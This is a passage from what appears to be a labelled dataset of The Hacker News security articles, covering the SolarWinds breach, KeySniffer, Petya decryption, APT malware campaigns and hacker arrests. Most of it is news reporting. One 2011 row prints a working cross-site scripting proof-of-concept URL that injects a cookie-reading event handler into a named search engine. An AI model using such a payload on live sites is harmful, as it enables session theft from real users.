""This unauthorized access allowed [Firoozi] to repeatedly obtain information regarding the status and operation of the dam, including information about the water levels, temperature, and status of the sluice gate, which is responsible for controlling water levels and flow rates,"" a DoJ statement reads.
Luckily, the sluice gate had already been manually disconnected for the purpose of maintenance at the time Firoozi attacked.

The hackers' work allegedly involved Botnets – networks of compromised machines – that hit major American banks, including Bank of America and J.P. Morgan Chase, as well as the Nasdaq stock exchange with floods of traffics measuring up to 140Gbps and knocked them offline.

The Iranian hackers targeted more than 46 financial institutions and financial sector companies, costing them ""tens of Millions of dollars in remediation costs"" in preventing the attacks in various incidents spanning 2011 to 2013.

All the seven hackers will face up to 10 years in prison on computer hacking charges while Firoozi faces an additional 5-year prison sentence for breaking into a dam in Bowman Avenue Dam in Rye Brook, New York.

",Cyber_Attack
KeySniffer Lets Hackers Steal Keystrokes from Wireless Keyboards,https://thehackernews.com/2016/07/wireless-keylogger.html,"Radio-based wireless keyboards and mice that use a special USB dongle to communicate with your PC can expose all your secrets – your passwords, credit card numbers and everything you type.

Back in February, researchers from the Internet of things security firm Bastille Networks demonstrated how they could take control of wireless keyboards and mice from several top vendors using so-called MouseJack attacks.

The latest findings by the same security firm are even worse.

Researchers have discovered a new hacking technique that can allow hackers to take over your wireless keyboard and secretly record every key you press on it.

Dubbed KeySniffer, the hack is death for millions of wireless, radio-based keyboards.

The Cause: Lack of Encryption and Security Updates

The KeySniffer vulnerability affects wireless keyboards from eight different hardware manufacturers that use cheap transceiver chips (non-Bluetooth chips) – a less secure, radio-based communication protocol.

The issue with these chips is that they don't receive Bluetooth's frequent security updates.

Moreover, the affected keyboards use unencrypted radio transmission.

This means anyone within 100 meters range of your computer and around $15-$30 long-range radio dongle can intercept the communications between affected wireless keyboards and your computer.

Eventually, this allows the attacker to collect secretly everything you type, including your passwords, credit card numbers, personal messages and even weird porn searches.

The keyboards from a surprising range of vendors, including Anker, EagleTec, General Electric, Hewlett-Packard, Insignia, Kensington, Radio Shack, and Toshiba, are vulnerable to KeySniffer.

This isn't the first time researchers have targeted wireless keyboards. In 2015, a white hat hacker developed a cheap Arduino-based device, dubbed KeySweeper, which covertly logs, decrypts and reports back all keystrokes from Microsoft wireless keyboards.

Although KeySweeper was due to the weak encryption used by Microsoft, the KeySniffer discovery is different as in this case; manufacturers are actually making and selling wireless keyboards with no encryption at all.
One of the affected hardware makers, Kensington responded to this matter, saying that only a single version of its keyboards was affected by KeySniffer flaw and that a firmware update with AES encryption has been released.

Since there are millions of people who do use one of the wireless keyboards identified by Bastille Networks, it has been advised to you to either go back to the wires or at least switch to Bluetooth.

The radio-based wireless keyboards and mice are a good target for hackers. Two months back, the FBI also issued warning for private industry partners to look out for highly stealthy keyloggers that quietly sniff passwords and other input data from wireless keyboards.

",Vulnerability
SolarWinds Issues Second Hotfix for Orion Platform Supply Chain Attack,https://thehackernews.com/2020/12/solarwinds-issues-second-hotfix-for_15.html,"Network monitoring services provider SolarWinds officially released a second hotfix to address a critical vulnerability in its Orion platform that was exploited to insert malware and breach public and private entities in a wide-ranging espionage campaign.
In a new update posted to its advisory page, the company urged its customers to update Orion Platform to version 2020.2.1 HF 2 immediately to secure their environments.
The malware, dubbed SUNBURST (aka Solorigate), affects Orion app versions 2019.4 through 2020.2.1, released between March 2020 and June 2020.
""Based on our investigation, we are not aware that this vulnerability affects other versions—including future versions—of Orion Platform products,"" the company said.
""We have scanned the code of all our software products for markers similar to those used in the attack on our Orion Platform products identified above, and we have found no evidence that other versions of our Orion Platform products or our other products or agents contain those markers.""
It also reiterated none of its other free tools or agents, such as RMM and N-central, were impacted by the security shortcoming.
Microsoft Seizes Domain Used in SolarWinds Hack
While details on how SolarWinds' internal network was breached are still awaited, Microsoft yesterday took the step of taking control over one of the main GoDaddy domains — avsvmcloud[.]com — that was used by the hackers to communicate with the compromised systems.
The Windows maker also said it plans to start blocking known malicious SolarWinds binaries starting today at 8:00 AM PST.
Meanwhile, security researcher Mubix ""Rob"" Fuller has released an authentication audit tool called SolarFlare that can be run on Orion machines to help identify accounts that may have been compromised during the breach.
""This attack was very complex and sophisticated,"" SolarWinds stated in a new FAQ for why it couldn't catch this issue beforehand. ""The vulnerability was crafted to evade detection and only run when detection was unlikely.""
Up to 18,000 Businesses Hit in SolarWinds Attack
SolarWinds estimates that as many as 18,000 of its customers may have been impacted by the supply chain attack. But indications are that the operators of the campaign leveraged this flaw to only hit select high-profile targets.
Cybersecurity firm Symantec said it identified more than 2,000 computers at over 100 customers that received the backdoored software updates but added it did not spot any further malicious impact on those machines.
Just as the fallout from the breach is being assessed, the security of SolarWinds has attracted more scrutiny.
Not only it appears the company's software download website was protected by a simple password (""solarwinds123"") that was published in the clear on SolarWinds' code repository at Github; several cybercriminals attempted to sell access to its computers on underground forums, according to Reuters.
In the wake of the incident, SolarWinds has taken the unusual step of removing the clientele list from its website.

",Vulnerability
'The Hackers Conference 2012' to be held in New Delhi,https://thehackernews.com/2012/05/hackers-conference-2012-to-be-held-in.html,"The Hackers Conference 2012' to be held in New Delhi

The Biggest Hacking Mania has arrived. The Hackers Conference 2012 will be held in New Delhi on July 29. THC 2012 is expected to be the first open gathering of Blackhat hackers in India who will debate latest security issues with the top itelligence echolons in India. The Registrations and Call for papers for the conference are now open. The organizers have deicded to keep the number of seats to limited to ensure quality of the conference. The conference will be held at the India Habitat Center on July 29th.

The Hackers Conference will see a galaxy of renowned speakers presenting 0-Day Vulnerabilities, Exploits and Android/Blackberry/iPhone Hacks. Apart from Speakers presenting on WI-FI and Web Application Security the Special invitees from government Intelligence agencies will also speak on National Security Issues emerging from Scada Hacking.

The conference has sent special invites to Blackhat hackers to come and demonstrate their talent and help the security agencies bridge the knowledge gaps existing today.

To Register visit : TheHackersConference and Join Hackers on Facebook and Twitter.

",Vulnerability
Russian Hacker put up an Android Firefox Zero-Day Exploit for Sale,https://thehackernews.com/2013/09/Android-Firefox-Zero-Day-Exploit-for-Sale.html,"A Russian Exploit writer and underground Hacker who goes by the handle ""fil9"" put up an Android Firefox Zero-Day Exploit for Sale in an open Exploit Market.

Author claims a Zero Day vulnerability in Firefox for Android, which works on Firefox versions 23/24/26 (Nightly).
The advertisement was spotted by Joshua, Malware Intelligence Analyst at Malwarebytes. Hacker Selling exploit with a starting price of $460 only.

According to the proof of concept video uploaded by the Hacker, the exploit forces the mobile Firefox browser to download and execute a malicious app, on just visiting a malicious link only.

What's worrisome is that many major websites are compromised frequently and a large number of visitors of those hacked sites can fall victim to this attack.

""The biggest problem in this situation is that Firefox automatically executes certain known files once they're downloaded, and doesn't give users an option to disable this. Without some sort of prompt, users have no idea that an external app has just been executed."" Joshua explained.
An attacker can use social engineering tricks, phishing attackers get the user to click a malicious link and thereby exploiting them.

Android Firefox users are recommended to switch to an alternate browser, until Mozilla patches the vulnerability.

",Malware
"Reporters legally threatened after revealing vulnerability that exposes sensitive data of 170,000 customers",https://thehackernews.com/2013/05/reporters-legally-threatened-after.html,"For millions of low income families, the federal government's Lifeline program offers affordable phone service. But an online security lapse has exposed tens of thousands of them to an increased risk of identity theft, after their Social Security numbers, birth dates and other pieces of highly sensitive information were included in files posted publicly online.

Reporters with Scripps were investigating Lifeline, a government benefit-program that provides low-income Americans with discounted phone service, when they came across the sensitive data. They discovered 170,000 Lifeline phone customer records online through a basic Google search that contained everything needed for identity theft.
They asked for an interview with the COO of TerraCom and YourTel, which are the telcos who look after Lifeline,but they threatened reporters who found a security hole in their Lifeline phone system with charges under the Computer Fraud and Abuse Act. Then, the blame-the-messenger hacker accusations and mudslinging began.

The Scripps reporters videotaped the process showing how they found the documents. Attorney Jonathon Lee, acting for both telecoms outfits, threatened the hacks with violating the Computer Fraud and Abuse Act (CFAA).

Lee wrote a letter telling Scripps that the intrusions and downloading of sensitive records were associated with Scripps IP addresses. The company asserts that the personal data was only accessible to the reporter using sophisticated computer techniques.

Jonathan Lee, ""by gaining unauthorized access into confidential computer files maintained for the Companies by Vcare, and by digitally transferring the information in these folders to Scripps. I request that you take immediate steps to identify the Scripps Hackers, cause them to cease their activities described in this letter and assist the companies in mitigating the damage from the Scripps Hackers' activities.""

The Scripps case bears some resemblance to a separate similar incident involving Andrew weev Auernheimer, who was sentenced in March to 41 months in prison after he found a security flaw in AT&T's public website and used it to harvest the email addresses of over 114,000 iPad users.

But what is interesting is how a corporation can use the Computer Fraud and Abuse Act to try and cover up security cock-ups.

",Vulnerability
Oh Gosh! Four Zero Day Vulnerabilities Disclosed in Internet Explorer,https://thehackernews.com/2015/07/internet-explorer-browser.html,"How many Zero-Days do you think could hit Microsoft today? Neither one nor two; this times its Four.

The Hewlett-Packard's Zero-Day Initiative (ZDI) has disclosed four new zero-day vulnerabilities in Microsoft's Internet Explorer browser that could be exploited to remotely execute malicious code on victim's machine.

All the four zero-days originally were reported to Microsoft, affecting Internet Explorer on the desktop. However, later it was discovered that the zero-day vulnerabilities affected Internet Explorer Mobile on Windows Phones as well.

Each of the four zero-day flaws affects different components of the browser, and all are remotely exploitable through typical drive-by attacks.

Four Zero-day vulnerabilities Disclosed by ZDI

Here are the zero-day vulnerabilities, as reported by ZDI:
ZDI-15-359: AddRow Out-Of-Bounds Memory Access Vulnerability
ZDI-15-360: Use-After-Free Remote Code Execution Vulnerability
ZDI-15-361: Use-After-Free Remote Code Execution Vulnerability
ZDI-15-362: Use-After-Free Remote Code Execution Vulnerability
The most critical vulnerability out of the four bugs is the AddRow Out-Of-Bounds Memory Access flaw that affects the way Internet Explorer handles some specific arrays.
""The vulnerability relates to how Internet Explorer processes arrays representing cells in HTML tables,"" says the advisory issued by the Zero Day Initiative. ""By manipulating a document's elements an attacker can force the Internet Explorer (IE) to use memory past the end of an array of HTML cells. An attacker can leverage this vulnerability to execute code under the context of the current process.""
Another vulnerability the company disclosed is a bug in how Internet Explorer handles CAttrArray objects. The vulnerability could allow an attacker to manipulate a document's elements in an attempt to force a free dangling pointer to be reused, leveraging the attacker to execute malicious code on victim's machine.

The two other zero-days are similar as they involve Internet Explorer mishandling CTreePos and CCurrentStyle objects in some circumstances. This leads to a dangling pointer that a remote attacker can reuse, allowing them to execute arbitrary code on the vulnerable machine.

Microsoft has fixed all the four zero-day vulnerabilities in the desktop version of its browser, but the flaws remain open on Internet Explorer Mobile.

HP's Zero Day Initiative does not slack with its 120-day disclosure policy. It notified Microsoft of the first zero-day flaw on November 12, 2014, and extended the disclosure deadline to May 12, 2015, then again to July 19. However, with no patch forthcoming, ZDI went public on July 22.

",Vulnerability
HTTPS can leak your Personal details to Attackers,https://thehackernews.com/2014/03/https-can-leak-your-personal-details-to.html,"Explosive revelations of massive surveillance programs conducted by government agencies by the former contractor Edward Snowden triggered new debate about the security and privacy of each individual who is connected somehow to the Internet and after the Snowden's disclosures they think that by adopting encrypted communications, i.e. SSL enabled websites, over the Internet, they'll be secure.

People do care of their privacy and many have already changed some of their online habits, like by using HTTPS instead of HTTP while they are surfing the Internet. However, HTTPS may be secured to run an online store or the eCommerce Web site, but it fails as a privacy tool.

The US researchers have found a traffic analysis of ten widely used HTTPS-secured Web sites ""exposing personal details, including medical conditions, financial and legal affairs and sexual orientation.""

The UC Berkeley researchers Brad Miller, A. D. Joseph and J. D. Tygar and Intel Labs' researchers, Ling Huang, together in 'I Know Why You Went to the Clinic: Risks and Realization of HTTPS Traffic Analysis' (PDF), showed that HTTPS, which is a protocol to transfer encrypted data over the Web, may also be vulnerable to traffic analysis.

Due to similarities with the Bag-of-Words approach to document classification, the researchers refer their analysis as Bag-of-Gaussians (BoG).
""Our attack applies clustering techniques to identify patterns in traffic. We then use a Gaussian distribution to determine similarity to each cluster and map traffic samples into a fixed width representation compatible with a wide range of machine learning techniques,"" say the researchers.
They also mentioned that, ""all capable adversaries must have at least two abilities."" i.e. The attacker must be able to visit the same web pages as the victim, allowing the attacker to identify patterns in encrypted traffic indicative of different web pages and ""The adversary must also be able to observe victim traffic, allowing the adversary to match observed traffic with previously learned patterns"" they said.

The Test analysis carried out in the study includes health care services, legal services, banking and finance, Netflix and YouTube as well. The traffic analysis attack covered 6,000 individual pages on the ten Web sites and identified individual pages in the same websites with 89% accuracy in associating users with the pages they viewed.

Snowden mentioned previously, ""Encryption works. Properly implemented strong crypto systems are one of the few things that you can rely on. Unfortunately, endpoint security is so terrifically weak that NSA can frequently find ways around it"" So, the technique allows Government agencies to target HTTPS traffic to mine metadata from ISP Snooping, Employee Monitoring, and which they could use for Surveillance and Censorship purpose.

",Vulnerability
Breaking — Russian Hacker Responsible for LinkedIn Data Breach Arrested by FBI,https://thehackernews.com/2016/10/linkedin-russian-hacker-arrested.html,"The alleged Russian hacker arrested by the FBI in collaboration with the Czech police is none other than the hacker who was allegedly responsible for massive 2012 data breach at LinkedIn, which affected nearly 117 Million user accounts.

Yevgeniy N, 29-year-old Russian hacker was arrested in Prague on October 5 suspected of participating in conducting cyber-attacks against the United States, according to Reuters.

Earlier it was suspected that the hacker could be involved in hacking against the Democratic National Committee (DNC), or its presidential candidate Hillary Clinton, intended to influence the presidential election.

However, the latest statement released by LinkedIn suggests that the arrest was related to a 2012 data breach at the social network that exposed emails and hashed password of nearly 117 Million users.
""We are thankful for the hard work and dedication of the FBI in its efforts to locate and capture the parties believed to be responsible for this criminal activity,"" LinkedIn said in a statement.
""Following the 2012 breach of LinkedIn member information, we have remained actively involved with the FBI's case to pursue those responsible.""
Earlier this year, a hacker under the nickname ""Peace"" put on sale what claimed to be the database of 167 Million emails and hashed passwords, including 117 Million already cracked passwords, belonging to LinkedIn users.

But, it is still unclear if the arrested hacker is the same one who was selling LinkedIn data dump on the Dark Web market a few months ago.

Watch Video of Hacker's Arrest:

But if it turns out to be the same one, then it would be a jackpot for the FBI because 'Peace' is the hacker who was also responsible for selling data dumps for MySpace, Tumblr, VK.com, and Yahoo! on the dark web marketplace.

Czech police said that a court would take the decision on the hacker's extradition to the U.S., where he is facing charges for his hacking-related crimes.

We will update the story as soon as we get official confirmation from the U.S. feds.

",Data_Breaches
"Young Hacker, Who Took Over Jail Network to Get Friend Released Early, Faces Prison",https://thehackernews.com/2017/12/hacking-jail-records.html,"Well, ""a friend in need is a friend indeed"" goes a long way, but in this case, this phrase hardly makes any sense.

A 27-year-old Michigan man who hacked into the government computer system of Washtenaw County Jail to alter inmate records and gain early release for his friend is now himself facing federal charges after getting caught.

Konrads Voits from Ann Arbor, Michigan, pleaded guilty in federal court last week for hacking into the Washtenaw County government computer system earlier this year using malware, phishing, and social engineering tricks in an attempt to get his friend released early from jail.

Prosecutors say Voits also used phone calls to prison staff claiming to be a manager at the County Jail's IT department and tricking them into downloading and running malware on their computers by visiting a phony website at ""ewashtenavv.org,"" which mimics the Washtenaw official URL, ""ewashtenaw.org.""

Voit then obtained the remote login information of one of the Jail employees and used that information to install malware on the County's network and gain access to sensitive County's XJail system in March this year.

Gaining access to this system eventually allowed Voits to steal jail records of several inmates, search warrant affidavits and personal details, including passwords, usernames, and email addresses, of over 1,600 employees, along with altering electronic records of at least one inmate for early release.

However, things did not work as Voits wanted them to, and instead, they all backfired on him when jail employees detected changes in their records and alerted the FBI.

No prisoners were then released early.

This incident took place between January 24th, 2017 and March 10th, 2017 and cost Washtenaw County more than $235,000 to fix the whole mess before authorities busted Voits.
""Cyber intrusions affect individuals, businesses and governments. Computer hackers should realize that unlawfully entering another's computer will result in a felony conviction and a prison sentence,"" said the United States Attorney Daniel Lemisch.
""We applaud the dedication of so many hard-working law enforcement officers to take away this man's [Voits] ability to intrude into the computer systems of others.""
Voits was arrested by the authorities a month later and pleaded guilty last week. He is now facing a fine of up to $250,000 and a maximum sentence of ten years prison, though he is unlikely to receive the maximum sentence.

Voits has agreed to surrender his belongings used during the attack, including his laptop, four cellphones and an undisclosed amount of Bitcoin.

Voits is currently in federal custody and is set to face a sentencing hearing on 5 April 2018.

",Malware
Microsoft's Process Explorer added VirusTotal Multi-Antivirus Scanner support,https://thehackernews.com/2014/01/microsofts-process-explorer-added.html,"Process Explorer, a part of the Microsoft's Sysinternals suite of applications is an alternate task manager for Windows, which offers far more features than 'on-board'.

Microsoft's Windows Sysinternal Suite has released the latest version of Process Explorer v16.0 that has an awesome feature which allows a user to scan any running program files with a web-based multi-antivirus scanner VirusTotal.

Process Explorer sends the hashes of images and files shown in the process and DLL views to VirusTotal, and if they have been previously scanned, it reports how many antivirus engines identified them as possibly malicious.

This new version of 'Process Explorer' is better than ever before, and is quite fast that allows you to find unwanted malware immediately and respective hyper-linked result takes you to VirusTotal.com's detailed report page and there you can even submit more files for scanning.

Whenever your system starts doing sluggish behavior, you try to find out what all the processes are running and what their state is, or any deadlock has occurred?

Process Explorer shows information about handles and DLLs of running processes. This tool has a powerful search capability that quickly shows you which processes have particular handles opened or DLLs loaded.

The unique capabilities of Process Explorer make it useful for tracking down DLL-version problems or handle leaks, and provide insight into the way Windows and applications work.

Now you can use VirusTotal to scan the file of a running process on your computer, and to do that you can right-click on the file and select 'Check VirusTotal'.

With increase in cyber-attacks, job of keeping the antivirus database updated with malicious signature has become very cumbersome. VirusTotal was acquired by Google, provides unbiased service and has real time updates of virus signatures and blacklists.

Both VirusTotal and the Sysinternals tools are great examples of the wealth of first-rate free tools available to IT and developers. Microsoft's collaboration with VirusTotal service is a great initiative to increase the security of windows users. You can download Process Explorer v16.0 here.

",Malware
SolarWinds Hack — New Evidence Suggests Potential Links to Chinese Hackers,https://thehackernews.com/2021/03/solarwinds-hack-new-evidence-suggests.html,"A malicious web shell deployed on Windows systems by leveraging a previously undisclosed zero-day in SolarWinds' Orion network monitoring software may have been the work of a possible Chinese threat group.
In a report published by Secureworks on Monday, the cybersecurity firm attributed the intrusions to a threat actor it calls Spiral.
Back on December 22, 2020, Microsoft disclosed that a second espionage group may have been abusing the IT infrastructure provider's Orion software to drop a persistent backdoor called Supernova on target systems.
The findings were also corroborated by cybersecurity firms Palo Alto Networks' Unit 42 threat intelligence team and GuidePoint Security, both of whom described Supernova as a .NET web shell implemented by modifying an ""app_web_logoimagehandler.ashx.b6031896.dll"" module of the SolarWinds Orion application.
The alterations were made possible not by breaching the SolarWinds app update infrastructure but instead by leveraging an authentication bypass vulnerability in the Orion API tracked as CVE-2020-10148, in turn allowing a remote attacker to execute unauthenticated API commands.
""Unlike Solorigate [aka Sunburst], this malicious DLL does not have a digital signature, which suggests that this may be unrelated to the supply chain compromise,"" Microsoft had noted.
While the Sunburst campaign has since been formally linked to Russia, the origins of Supernova remained a mystery until now.
According to Secureworks Counter Threat Unit (CTU) researchers — who discovered the malware in November 2020 while responding to a hack in one of its customers' networks — ""the immediate and targeted nature of the lateral movement suggests that Spiral had prior knowledge of the network.""
During the course of further investigation, the firm said it found similarities between the incident and that of a prior intrusion activity on the same network uncovered in August 2020, which had been accomplished by exploiting a vulnerability in a product known as ManageEngine ServiceDesk as early as 2018.
""CTU researchers were initially unable to attribute the August activity to any known threat groups,"" the researchers said. ""However, the following similarities to the Spiral intrusion in late 2020 suggest that the Spiral threat group was responsible for both intrusions.""
The connection to China stems from the fact that attacks targeting ManageEngine servers have long been associated with threat groups located in the country, not to mention the modus operandi of exploiting long-term persistence to collect credentials, exfiltrate sensitive data, and plunder intellectual property.
But more solid evidence arrived in the form of an IP address that geolocated to China, which the researchers said came from a host that was used by the attackers to run Secureworks's endpoint detection and response (EDR) software for reasons best known to the threat actor, suggesting the software may have been stolen from the compromised customer.
""The threat group likely downloaded the endpoint agent installer from the network and executed it on the attacker-managed infrastructure,"" the researchers detailed. ""The exposure of the IP address was likely unintentional, so its geolocation supports the hypothesis that the Spiral threat group operates out of China.""
It's worth pointing out that SolarWinds addressed Supernova in an update to Orion Platform released on December 23, 2020.

",Malware
Cross Site Scripting Vulnerability in Speed Bit Search Engine,https://thehackernews.com/2011/11/cross-site-scripting-vulnerability-in.html,"Cross Site Scripting Vulnerability in Speed Bit Search Engine


Debasish Mandal, A hacker from India , Found that there is a XSS through JavaScript Injection vulnerability in the Home page of Speed Bit Search Engine.The XSS filter is filtering normal html /script /iframe tags but XSS can be achieved by injecting JavaScript event ""onmouseover()"".Technical Description is below. Debasish have reported the vulnerability to the Speed Bit Team but haven't yet got any response from their side.

Proof Of Concept:
1) Visit this URL https://search.speedbit.com/?aff=grbr"" onmousemove=""alert(document.cookie)
2) Bring mouse cursor over the hyperlink shown in the image and you should see a POP up box showing the browser cookies.


Submitted By : Debasish Mandal, India.

",Vulnerability
"Vigilante Hackers Aim to Hijack 200,000 Routers to Make Them More Secure",https://thehackernews.com/2016/02/hacking-wireless-router.html,"The same ""Vigilante-style Hacker,"" who previously hacked more than 10,000 routers to make them more secure, has once again made headlines by compromising more than 70,000 home routers and apparently forcing their owners to make them secure against flaws and weak passwords.

Just like the infamous hacking group Lizard Squad, the group of white hat hackers, dubbed the White Team, is building up a sizeable botnet consisting of hundreds of thousands of home routers, but for a good purpose.

Lizard Squad, the same group responsible for Sony PlayStation Network and Microsoft Xbox Live outages, uses their botnets to launch DDoS (Distributed Denial of Service) attacks against target websites to flood them with traffic and knock them offline.

Hacking Routers to Make them More Secure

Challenged by Lizard Squad's maliocus work, the White Team of vigilante hackers built their own peer-to-peer botnet that infects routers to close off vulnerabilities, such as:
Weak default passwords
DNS poisoning
Unauthorised access (backdoor)
Disabled firewalls
Their malware, dubbed ""Linux.Wifatch"" a.k.a ""Wifatch"" that has been used by the team since last year continues to be updated and has been open-sourced on Github.

The malware, first discovered in November 2014 by an independent malware researcher ""Loot Myself"" and analysed by Symantec last year, now includes more programs to remove other malicious software and backdoors already on the system.

The White Team has access to around 70,000 devices, according to Symantec, who is continuously watching over the team's botnet.

Good Malware to Fight Bad Malware

Lizard Squad sizable botnet contained somewhere between 120,000 and 150,000 bots, a Lizard spokesperson told Forbes, claiming that their botnet includes not just home routers and PCs, but smart refrigerators, smart TVs and other smart home devices as well.

The White Team aims at hacking and protecting between 150,000 and 200,000 devices from Lizard Squad attacks, thereby removing the rogue gang from people's homes.

However, the team of vigilante hackers face some hurdles, especially when working with the Wifatch malware, which is often too big to install on smaller routers.
""The goal is to use (most) of the 60,000 nodes we have to connect to the hundreds of thousands of boxes that are too small for our normal disinfector and disinfect them remotely,"" the hacker collective told the publication over encrypted email.
Since there are so many vulnerable devices that can be hacked with little or no effort, these vigilante hackers aren't answer to this widespread problem. They can only help minimize the issue.

The White Team is not the only team of vigilante hackers trying to secure the Internet. Just last week, a hacker replaced a malware with antivirus software. An anonymous hacker was found replacing Dridex, the most active banking malware, with the copies of Avira security software.

",Malware
How to decrypt Petya Ransomware for Free,https://thehackernews.com/2016/04/ransomware-decrypt-tool.html,"Ransomware has risen dramatically since last few years and is currently one of the most popular threats on the Internet.

The Ransomware infections have become so sophisticated with the time that victims end up paying ransom in order to get their critical and sensitive data back.

But if you are infected with Petya Ransomware, there is good news for you.

You can unlock your infected computer without paying the hefty ransom. Thanks to the Petya author who left a bug in the Ransomware code.

What is Petya Ransomware?

Petya is a nasty piece of ransomware that emerged two weeks ago and worked very differently from any other ransomware.

The ransomware targets the victims by rebooting their Windows computers, encrypting the hard drive's master boot file, and rendering the master boot record inoperable.

Also Read: How to Decrypt CoinVault and Bitcryptor Ransomware

A master boot record (MBR) is the information in the first sector of any hard disk that identifies how and where an OS is located while a master boot file is a file on NTFS volumes that includes the name, size, and location of all other files.

Once done, the infected PC restarts and the Petya ransomware code is booted rather than the operating system, displaying a ransom note that demands 0.9 Bitcoin (approx. US$381) in exchange for the decryption key to recover the system's files.

Now, without the decryption password, the infected PC would not boot up, making all files on the startup disk inaccessible.

However, a researcher who goes by the Twitter handle @leostone has developed a tool that generates the key Petya requires decrypting the master boot file.

Here's How to Unlock your Petya-infected Files for Free

The researcher discovered a weakness in the nasty malware's design after Petya infected his father-in-law's PC.

According to security researcher Lawrence Abrams from the Bleeping Computer, the key generator tool developed by Leostone could unlock a Petya-encrypted PC in just 7 seconds.

In order to use the Leostone's password generator tool, victims must remove the startup drive from the Petya affected computer and connect it to another Windows computer that's not infected.

The victim then needs to extract data from the hard disk, specifically:
the base-64-encoded 512 bytes that start at sector 55 (0x37h) with an offset of 0.
the 64-bit-encoded 8-byte nonce from sector 54 (0x36) offset 33 (0x21).
This data then needs to be used on this Web app (mirror site) created by Leostone to generate the key. The victim will then retrieve the key Petya used to decrypt the crucial file.

Here's a Simple Tool to Unlock your Files For Free

Since the Leostone's tool is not a straight-forward method, extracting the encrypted data is not easy for many victims.

The good news is that Fabian Wosar, a separate researcher, has created a free tool called the Petya Sector Extractor that can be used to easily extract the data in seconds.

In order to use Petya Sector Extractor, victims must run the tool on the uninfected Windows computer that is connected to the infected hard drive from the affected computer.

Abrams provided this step-by-step tutorial that will walk victims through the entire process.

Also Read: Here's How to Decrypt Hydracrypt & Umbrecrypt Ransomware

This is a great solution to decrypt your infected files, but most likely, the Petya authors have already heard about this tool and are modifying their code to disable the solution. So, there is no guarantee the tool will continue to work indefinitely.

",Malware
Experts Uncover Several C&C Servers Linked to WellMess Malware,https://thehackernews.com/2021/07/experts-uncover-several-c-servers.html,"Cybersecurity researchers on Friday unmasked new command-and-control (C2) infrastructure belonging to the Russian threat actor tracked as APT29, aka Cozy Bear, that has been spotted actively serving WellMess malware as part of an ongoing attack campaign.
More than 30 C2 servers operated by the Russian foreign intelligence have been uncovered, Microsoft-owned cybersecurity subsidiary RiskIQ said in a report shared with The Hacker News.
APT29, the moniker assigned to government operatives working for Russia's Foreign Intelligence Service (SVR), is believed to have been the mastermind behind the massive SolarWinds supply chain attack that came to light late last year, with the U.K. and U.S. governments formally pinning the intrusions on Russia earlier this April.
The activity is being tracked by the cybersecurity community under various codenames, including UNC2452 (FireEye), Nobelium (Microsoft), SolarStorm (Unit 42), StellarParticle (Crowdstrike), Dark Halo (Volexity), and Iron Ritual (Secureworks), citing differences in the tactics, techniques, and procedures (TTPs) employed by the adversary with that of known attacker profiles, counting APT29.
First identified by Japan's JPCERT/CC in 2018, WellMess (aka WellMail) has been previously deployed in espionage campaigns undertaken by the threat actor to plunder intellectual property from multiple organizations involved in COVID-19 research and vaccine development in the U.K., U.S., and Canada.
""The group uses a variety of tools and techniques to predominantly target governmental, diplomatic, think-tank, healthcare and energy targets for intelligence gain,"" the U.K.'s National Cyber Security Centre (NCSC) noted in an advisory published in July 2020.
RiskIQ said it began its investigation into APT29's attack infrastructure following a public disclosure about a new WellMess C2 server on June 11, leading to the discovery of a cluster of no fewer than 30 active C2 servers. One of the servers is believed to have been active as early as October 9, 2020, although it's not clear how these servers are being used or who the targets are.
This is not the first time RiskIQ has identified the command-and-control footprint associated with the SolarWinds hackers. In April, it unearthed an additional set of 18 servers with high confidence that likely communicated with the targeted, secondary Cobalt Strike payloads delivered via the TEARDROP and RAINDROP malware deployed in the attacks.
""RiskIQ's Team Atlas assesses with high confidence that these IP addresses and certificates are in active use by APT29,"" said Kevin Livelli, RiskIQ's director of threat intelligence. ""We were unable to locate any malware which communicated with this infrastructure, but we suspect it is likely similar to previously identified samples.""

",Malware
APT Hackers Distributed Android Trojan via Syrian e-Government Portal,https://thehackernews.com/2021/07/apt-hackers-distributed-android-trojan.html,"An advanced persistent threat (APT) actor has been tracked in a new campaign deploying Android malware via the Syrian e-Government Web Portal, indicating an upgraded arsenal designed to compromise victims.
""To the best of our knowledge, this is the first time that the group has been publicly observed using malicious Android applications as part of its attacks,"" Trend Micro researchers Zhengyu Dong, Fyodor Yarochkin, and Steven Du said in a technical write-up published Wednesday.
StrongPity, also codenamed Promethium by Microsoft, is believed to have been active since 2012 and has typically focused on targets across Turkey and Syria. In June 2020, the espionage threat actor was connected to a wave of activities that banked on watering hole attacks and tampered installers, which abuse the popularity of legitimate applications, to infect targets with malware.
""Promethium has been resilient over the years,"" Cisco Talos disclosed last year. ""Its campaigns have been exposed several times, but that was not enough to make the actors behind it to make them stop. The fact that the group does not refrain from launching new campaigns even after being exposed shows their resolve to accomplish their mission.""
The latest operation is no different in that it underscores the threat actor's propensity towards repackaging benign applications into trojanized variants to facilitate the attacks.
The malware, masquerading as the Syrian e-Gov Android application, is said to have been created in May 2021, with the app's manifest file (""AndroidManifest.xml"") modified to explicitly request additional permissions on the phone, including the ability to read contacts, write to external storage, keep the device awake, access information about cellular and Wi-Fi networks, precise location, and even allow the app to have itself started as soon as the system has finished booting.
Additionally, the malicious app is designed to perform long-running tasks in the background and trigger a request to a remote command-and-control (C2) server, which responds back with an encrypted payload containing a settings file that allows the ""malware to change its behavior according to the configuration"" and update its C2 server address.
Last but not least, the ""highly modular"" implant has the capacity to hoover data stored on the infected device, such as contacts, Word and Excel documents, PDFs, images, security keys, and files saved using Dagesh Pro Word Processor (.DGS), among others, all of which are exfiltrated back to the C2 server.
Despite no known public reports of StrongPity using malicious Android applications in their attacks, Trend Micro's attribution to the adversary stems from the use of a C2 server that has previously been used in intrusions linked to the hacking group, notably a malware campaign documented by AT&T's Alien Labs in July 2019 that leveraged tainted versions of the WinBox router management software, WinRAR, and other trusted utilities to breach targets.
""We believe that the threat actor is exploring multiple ways of delivering the applications to potential victims, such as using fake apps and using compromised websites as watering holes to trick users into installing malicious applications,"" the researchers said.
""Typically, these websites would require its users to download the applications directly onto their devices. In order to do so, these users would be required to enable installation of the applications from 'unknown sources' on their devices. This bypasses the 'trust-chain' of the Android ecosystem and makes it easier for an attacker to deliver additional malicious components,"" they added.

",Cyber_Attack
Microsoft launching Real Time Hosted Threat Intelligence Feed,https://thehackernews.com/2012/01/microsoft-launching-real-time-hosted.html,"Microsoft launching Real Time Hosted Threat Intelligence Feed

Microsoft is to offer a real-time intelligence feed of botnet and e-crime data to public and private sector subscribers, according to security company Kaspersky. Currently, Microsoft is testing a real-time feed to distribute information collected from several sources on major botnets, including Rustock, Waldec and Kelihos networks.

